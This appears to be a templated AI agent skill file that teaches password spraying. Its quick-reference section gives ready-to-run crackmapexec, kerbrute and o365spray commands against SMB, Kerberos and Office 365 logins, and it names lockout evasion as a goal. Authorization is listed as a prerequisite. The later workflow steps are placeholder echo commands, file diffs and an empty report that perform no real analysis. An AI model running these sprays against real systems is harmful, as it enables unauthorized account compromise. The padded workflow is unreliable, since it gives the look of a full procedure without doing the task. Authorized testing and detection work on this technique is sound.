<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-password-spraying
description: >-
  Perform password spraying attacks against authentication endpoints using carefully crafted common password lists while avoiding account lockout.
domain: cybersecurity
subdomain: password-cracking
tags:
  - password-spraying
  - brute-force
  - lockout-evasion
  - authentication
  - credential-attack
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1110.003"]
  cwe: ["CWE-307"]
  tools: ["sprayhound", "crackmapexec", "kerbrute", "Ruler", "o365spray"]
---

# Performing Password Spraying

## Overview

Perform password spraying attacks against authentication endpoints using carefully crafted common password lists while avoiding account lockout.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `sprayhound` | Security tooling |
| `crackmapexec` | Security tooling |
| `kerbrute` | Security tooling |
| `Ruler` | Security tooling |
| `o365spray` | Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |

## Quick Reference

```bash
# Spray against SMB
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Spring2026!'

# Kerberos password spray
kerbrute passwordspray -d corp.local users.txt 'Spring2026!'

# O365 spray
python3 o365spray.py --validate --domain target.com
python3 o365spray.py --spray --userfile users.txt --password 'Spring2026!'

# Check lockout policy first
crackmapexec smb dc01 -u admin -p pass --pass-pol
```

## Workflow

### Step 1: Preparation and Reconnaissance

```bash
# Identify target and gather initial intelligence
file ./target_sample
sprayhound --version 2>/dev/null || echo "Install sprayhound"

# Set up working directory
mkdir -p /tmp/performing-password-spraying/{output,logs,artifacts}
```

### Step 2: Primary Analysis

```bash
# Execute primary analysis with sprayhound
# Refer to Quick Reference above for detailed commands
echo "[*] Running Performing Password Spraying with sprayhound..."

# Log all operations
script -q /tmp/performing-password-spraying/logs/session.log
```

### Step 3: Deep Investigation

```bash
# Apply crackmapexec for secondary analysis
echo "[*] Deep investigation with crackmapexec..."

# Cross-reference findings
diff /tmp/performing-password-spraying/output/primary.json /tmp/performing-password-spraying/output/secondary.json
```

### Step 4: Documentation and Reporting

```bash
# Generate structured findings report
cat <<'EOF' > /tmp/performing-password-spraying/output/report.json
{
  "technique": "performing-password-spraying",
  "domain": "password-cracking",
  "tools_used": ["sprayhound", "crackmapexec"],
  "findings": [],
  "recommendations": []
}
EOF
```

## Verification

- [ ] Environment and tools verified and operational
- [ ] Target samples acquired through authorized channels
- [ ] Primary analysis completed with findings documented
- [ ] Secondary validation performed with independent tooling
- [ ] All artifacts preserved in structured output directory
- [ ] Detection opportunities documented for blue team

## References

- [MITRE ATT&CK T1110.003](https://attack.mitre.org/techniques/T1110/003) — Related technique
- [sprayhound Documentation](https://sprayhound.org/) — Primary tooling
- [crackmapexec Reference](https://crackmapexec.org/) — Secondary tooling
